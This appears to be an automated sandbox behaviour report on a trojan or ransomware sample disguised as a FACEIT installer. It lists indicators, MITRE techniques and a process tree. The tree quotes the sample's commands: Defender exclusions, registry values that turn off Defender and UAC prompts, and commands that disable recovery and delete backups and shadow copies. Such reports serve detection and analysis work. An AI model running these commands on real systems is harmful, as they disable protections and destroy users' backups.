25fba2c041a55bdb57874bfd7997de61a93065e1595499da0aeca73bc8e2e6e6

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BerserkGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BerserkGuard.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DependOnService = 520070006300530073002d00440049005300410042004c004500440000000000	BerserkGuard.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3716	powershell.exe
3460	powershell.exe
3716	powershell.exe
5752	powershell.exe
916	powershell.exe
2456	powershell.exe
2124	powershell.exe
2600	powershell.exe
916	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4320	wbadmin.exe
716	wbadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
16	5496	nvidia_d64.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\GameDriverX64.sys	BerserkGuard.exe

Executes dropped EXE 13 IoCs

pid	Process
1704	UnRAR.exe
5576	BerserkGuard.exe
1552	BerserkGuard.exe
3948	BerserkGuard.exe
2460	GameDriverX64.sys
3176	scvhost.exe
1220	nvidia_dr64.exe
3348	FACEITInstaller_64.exe
3436	FACEITInstaller_64.tmp
1368	nvidia_d64.exe
5496	nvidia_d64.exe
4848	BerserkGuard.exe
5484	BerserkGuard.exe

Loads dropped DLL 39 IoCs

pid	Process
1552	BerserkGuard.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
4848	BerserkGuard.exe
5484	BerserkGuard.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2972	tasklist.exe
3664	tasklist.exe
3828	tasklist.exe
5684	tasklist.exe
3404	tasklist.exe
4264	tasklist.exe
3468	tasklist.exe
2880	tasklist.exe
4144	tasklist.exe
4544	tasklist.exe
3784	tasklist.exe
3196	tasklist.exe
5008	tasklist.exe
716	tasklist.exe
2100	tasklist.exe
4548	tasklist.exe
5068	tasklist.exe
2036	tasklist.exe
236	tasklist.exe
3056	tasklist.exe
4740	tasklist.exe
2936	tasklist.exe
2100	tasklist.exe
4440	tasklist.exe
472	tasklist.exe
2152	tasklist.exe
1884	tasklist.exe
4516	tasklist.exe
4552	tasklist.exe
2940	tasklist.exe
4152	tasklist.exe
4740	tasklist.exe
4588	tasklist.exe
320	tasklist.exe
1148	tasklist.exe
1264	tasklist.exe
5504	tasklist.exe
3152	tasklist.exe
3412	tasklist.exe
3284	tasklist.exe
3772	tasklist.exe
2180	tasklist.exe
3744	tasklist.exe
3116	tasklist.exe
992	tasklist.exe
1528	tasklist.exe
5876	tasklist.exe
4904	tasklist.exe
5160	tasklist.exe
2784	tasklist.exe
2364	tasklist.exe
3508	tasklist.exe
1400	tasklist.exe
3468	tasklist.exe
320	tasklist.exe
8	tasklist.exe
1792	tasklist.exe
1656	tasklist.exe
5196	tasklist.exe
2312	tasklist.exe
6124	tasklist.exe
5916	tasklist.exe
4412	tasklist.exe
5560	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}.cip	powershell.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2092	WScript.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1968	sc.exe
3636	sc.exe
5076	sc.exe
5832	sc.exe
1620	sc.exe
2412	sc.exe
4492	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000c00000001c622-127.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4780	cmd.exe
4880	cmd.exe
5648	cmd.exe
4260	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8FA6B308BE7A2FDE7D1CB26A01451546DEBDA1BD\Blob = 0300000001000000140000008fa6b308be7a2fde7d1cb26a01451546debda1bd0b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202146f12b3730985664183f208b0d9b6b53cb946a668300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303831363133303934345a170d3336303831353133303934345a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100d4938edc0c15824ad33faf2d57de0fa175b4c6b9539c5e5f83eb672d4d2f27d546e464fc20e7f5ce8ef953950b3f870614df5ba5b3a3b7ccba11c79085c8647f3a38969ed54d9e33c15428d7cad5406e55f1e74bdbbf151b9278e0d920328a23f5e4ead2b37d56fd7fcaac906818c4e0b633515fb675d42af35969a5663ee3d293c2841bbfaf51c1d8800e2757fa9b185ca22f6f610c5a785526aa5b754cbae55825e9121f51d5d2b1bdcbdf5b823afc5b938d1aafd7edd70ef5f8f0b1a6970afe9e210edf7598e3503ebe48f9303a0aa4ea58dfeb256d78bdc737089c33825bfc9ce44e731ef9d9b272db2befdcb391f0a7b2044ed7b7f1115d83dff6273efd0203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e041604144d776b27d4af49178f602f08ffaad67b31b18935300d06092a864886f70d01010b050003820101009c456429f16a949ccd151ee5084aaac6d91248254187880b3195c30f4e5936ec1f494483d49dbdc5e8b9c3c89bb324216a6132b6b015d1188dc04550aafa8c8d885b0f3995b9a8d74c4f2a840aa957e091d8d848464652a5c157ed40fabb50c3c73916ba4e85da1f5041db8c8c574d83a8cffa9e115104afce1e43917db47062a9e08880ea75177b2ccad3bc9386df61fd05d0c3d55836d41d17f0aa1ee139141ee45cf46091b1660b9a1ff90b70c38133ea5587147e0ea55929f017d4c3406f4ffb2b7741718b26ef0c6b3c3d9020ac88afc1def0b35fb3df8d46d32fd991b7af4d04f102b1d8de13424d97d10bb45d68ddc054bf88034c42899e39cbdb55f6	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/3348-269-0x0000000000850000-0x0000000000974000-memory.dmp	innosetup
behavioral2/memory/3348-558-0x0000000000850000-0x0000000000974000-memory.dmp	innosetup

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
712	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion spyware trojan

pid	Process
5956	taskkill.exe
1732	taskkill.exe
2848	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-552508041-2681165170-3229858294-1000\{CB8AD227-D6C2-46D4-8A49-F3A1EC63A5BD}	scvhost.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	FACEIT_Installer64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	FACEIT_Installer64.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8FA6B308BE7A2FDE7D1CB26A01451546DEBDA1BD	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
1552	BerserkGuard.exe
1552	BerserkGuard.exe
916	powershell.exe
916	powershell.exe
2124	powershell.exe
2124	powershell.exe
2124	powershell.exe
916	powershell.exe
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
1552	BerserkGuard.exe
1552	BerserkGuard.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
3176	scvhost.exe
5752	powershell.exe
5752	powershell.exe
5752	powershell.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
5496	nvidia_d64.exe
5496	nvidia_d64.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
3176	scvhost.exe
5496	nvidia_d64.exe

Suspicious behavior: LoadsDriver 21 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeIncreaseQuotaPrivilege	3460	powershell.exe
Token: SeSecurityPrivilege	3460	powershell.exe
Token: SeTakeOwnershipPrivilege	3460	powershell.exe
Token: SeLoadDriverPrivilege	3460	powershell.exe
Token: SeSystemProfilePrivilege	3460	powershell.exe
Token: SeSystemtimePrivilege	3460	powershell.exe
Token: SeProfSingleProcessPrivilege	3460	powershell.exe
Token: SeIncBasePriorityPrivilege	3460	powershell.exe
Token: SeCreatePagefilePrivilege	3460	powershell.exe
Token: SeBackupPrivilege	3460	powershell.exe
Token: SeRestorePrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeSystemEnvironmentPrivilege	3460	powershell.exe
Token: SeRemoteShutdownPrivilege	3460	powershell.exe
Token: SeUndockPrivilege	3460	powershell.exe
Token: SeManageVolumePrivilege	3460	powershell.exe
Token: 33	3460	powershell.exe
Token: 34	3460	powershell.exe
Token: 35	3460	powershell.exe
Token: 36	3460	powershell.exe
Token: SeIncreaseQuotaPrivilege	3460	powershell.exe
Token: SeSecurityPrivilege	3460	powershell.exe
Token: SeTakeOwnershipPrivilege	3460	powershell.exe
Token: SeLoadDriverPrivilege	3460	powershell.exe
Token: SeSystemProfilePrivilege	3460	powershell.exe
Token: SeSystemtimePrivilege	3460	powershell.exe
Token: SeProfSingleProcessPrivilege	3460	powershell.exe
Token: SeIncBasePriorityPrivilege	3460	powershell.exe
Token: SeCreatePagefilePrivilege	3460	powershell.exe
Token: SeBackupPrivilege	3460	powershell.exe
Token: SeRestorePrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeSystemEnvironmentPrivilege	3460	powershell.exe
Token: SeRemoteShutdownPrivilege	3460	powershell.exe
Token: SeUndockPrivilege	3460	powershell.exe
Token: SeManageVolumePrivilege	3460	powershell.exe
Token: 33	3460	powershell.exe
Token: 34	3460	powershell.exe
Token: 35	3460	powershell.exe
Token: 36	3460	powershell.exe
Token: SeIncreaseQuotaPrivilege	3460	powershell.exe
Token: SeSecurityPrivilege	3460	powershell.exe
Token: SeTakeOwnershipPrivilege	3460	powershell.exe
Token: SeLoadDriverPrivilege	3460	powershell.exe
Token: SeSystemProfilePrivilege	3460	powershell.exe
Token: SeSystemtimePrivilege	3460	powershell.exe
Token: SeProfSingleProcessPrivilege	3460	powershell.exe
Token: SeIncBasePriorityPrivilege	3460	powershell.exe
Token: SeCreatePagefilePrivilege	3460	powershell.exe
Token: SeBackupPrivilege	3460	powershell.exe
Token: SeRestorePrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeSystemEnvironmentPrivilege	3460	powershell.exe
Token: SeRemoteShutdownPrivilege	3460	powershell.exe
Token: SeUndockPrivilege	3460	powershell.exe
Token: SeManageVolumePrivilege	3460	powershell.exe
Token: 33	3460	powershell.exe
Token: 34	3460	powershell.exe
Token: 35	3460	powershell.exe
Token: 36	3460	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 2092	4620	FACEIT_Installer64.exe	88
PID 2092 wrote to memory of 3460	2092	WScript.exe	89
PID 3460 wrote to memory of 1704	3460	powershell.exe	92
PID 3460 wrote to memory of 5576	3460	powershell.exe	93
PID 5576 wrote to memory of 3636	5576	BerserkGuard.exe	95
PID 5576 wrote to memory of 5076	5576	BerserkGuard.exe	97
PID 5576 wrote to memory of 5832	5576	BerserkGuard.exe	99
PID 1552 wrote to memory of 1620	1552	BerserkGuard.exe	102
PID 3948 wrote to memory of 2412	3948	BerserkGuard.exe	108
PID 3460 wrote to memory of 3176	3460	powershell.exe	110
PID 3176 wrote to memory of 916	3176	scvhost.exe	112
PID 3460 wrote to memory of 1220	3460	powershell.exe	111
PID 1220 wrote to memory of 2456	1220	nvidia_dr64.exe	137
PID 3460 wrote to memory of 3348	3460	powershell.exe	116
PID 3348 wrote to memory of 3436	3348	FACEITInstaller_64.exe	118
PID 1220 wrote to memory of 2124	1220	nvidia_dr64.exe	119
PID 1220 wrote to memory of 1368	1220	nvidia_dr64.exe	122
PID 3176 wrote to memory of 2600	3176	scvhost.exe	124
PID 1368 wrote to memory of 5496	1368	nvidia_d64.exe	126
PID 2600 wrote to memory of 4780	2600	powershell.exe	128
PID 4780 wrote to memory of 5736	4780	cmd.exe	130
PID 2600 wrote to memory of 4880	2600	powershell.exe	134
PID 4880 wrote to memory of 4320	4880	cmd.exe	136
PID 2600 wrote to memory of 5648	2600	powershell.exe	141
PID 5648 wrote to memory of 716	5648	cmd.exe	174
PID 2600 wrote to memory of 4260	2600	powershell.exe	144
PID 4260 wrote to memory of 712	4260	cmd.exe	146
PID 3176 wrote to memory of 3716	3176	scvhost.exe	149
PID 5496 wrote to memory of 1732	5496	nvidia_d64.exe	151
PID 5496 wrote to memory of 2848	5496	nvidia_d64.exe	153
PID 5496 wrote to memory of 5956	5496	nvidia_d64.exe	268
PID 5496 wrote to memory of 5128	5496	nvidia_d64.exe	157
PID 5496 wrote to memory of 4024	5496	nvidia_d64.exe	159
PID 3176 wrote to memory of 5752	3176	scvhost.exe	161
PID 5496 wrote to memory of 4588	5496	nvidia_d64.exe	163
PID 5496 wrote to memory of 236	5496	nvidia_d64.exe	165
PID 4848 wrote to memory of 4492	4848	BerserkGuard.exe	168
PID 5496 wrote to memory of 1904	5496	nvidia_d64.exe	170
PID 5496 wrote to memory of 3056	5496	nvidia_d64.exe	172
PID 5496 wrote to memory of 716	5496	nvidia_d64.exe	287
PID 5496 wrote to memory of 320	5496	nvidia_d64.exe	178
PID 5496 wrote to memory of 2324	5496	nvidia_d64.exe	180
PID 5496 wrote to memory of 2948	5496	nvidia_d64.exe	182
PID 5496 wrote to memory of 4932	5496	nvidia_d64.exe	184
PID 5496 wrote to memory of 4680	5496	nvidia_d64.exe	186
PID 5496 wrote to memory of 6008	5496	nvidia_d64.exe	188
PID 5496 wrote to memory of 3664	5496	nvidia_d64.exe	190
PID 5496 wrote to memory of 5684	5496	nvidia_d64.exe	192
PID 5496 wrote to memory of 5572	5496	nvidia_d64.exe	311
PID 5496 wrote to memory of 3508	5496	nvidia_d64.exe	196
PID 5496 wrote to memory of 3404	5496	nvidia_d64.exe	198
PID 5496 wrote to memory of 1656	5496	nvidia_d64.exe	324
PID 5496 wrote to memory of 2204	5496	nvidia_d64.exe	202
PID 5496 wrote to memory of 3468	5496	nvidia_d64.exe	319
PID 5496 wrote to memory of 708	5496	nvidia_d64.exe	206
PID 5496 wrote to memory of 2880	5496	nvidia_d64.exe	208
PID 5496 wrote to memory of 1400	5496	nvidia_d64.exe	288
PID 5496 wrote to memory of 400	5496	nvidia_d64.exe	212
PID 5496 wrote to memory of 4740	5496	nvidia_d64.exe	214
PID 5496 wrote to memory of 340	5496	nvidia_d64.exe	295
PID 5496 wrote to memory of 4468	5496	nvidia_d64.exe	339
PID 5496 wrote to memory of 2936	5496	nvidia_d64.exe	220
PID 5496 wrote to memory of 3240	5496	nvidia_d64.exe	222
PID 5496 wrote to memory of 1328	5496	nvidia_d64.exe	224

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe
"C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
      4⤵
      Executes dropped EXE
      PID:1704
  - - C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
      "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies security service
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5576
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" qfailure BerserkGuard
        5⤵
        Launches sc.exe
        
        PID:3636
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure BerserkGuard reset= 86400 actions= restart/5000/restart/15000/restart/60000
        5⤵
        Launches sc.exe
        
        PID:5076
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag BerserkGuard 1
        5⤵
        Launches sc.exe
        
        PID:5832
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:3176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2600
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4780
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:5736
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4880
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4320
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5648
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:716
      - C:\Windows\system32\cmd.exe
        
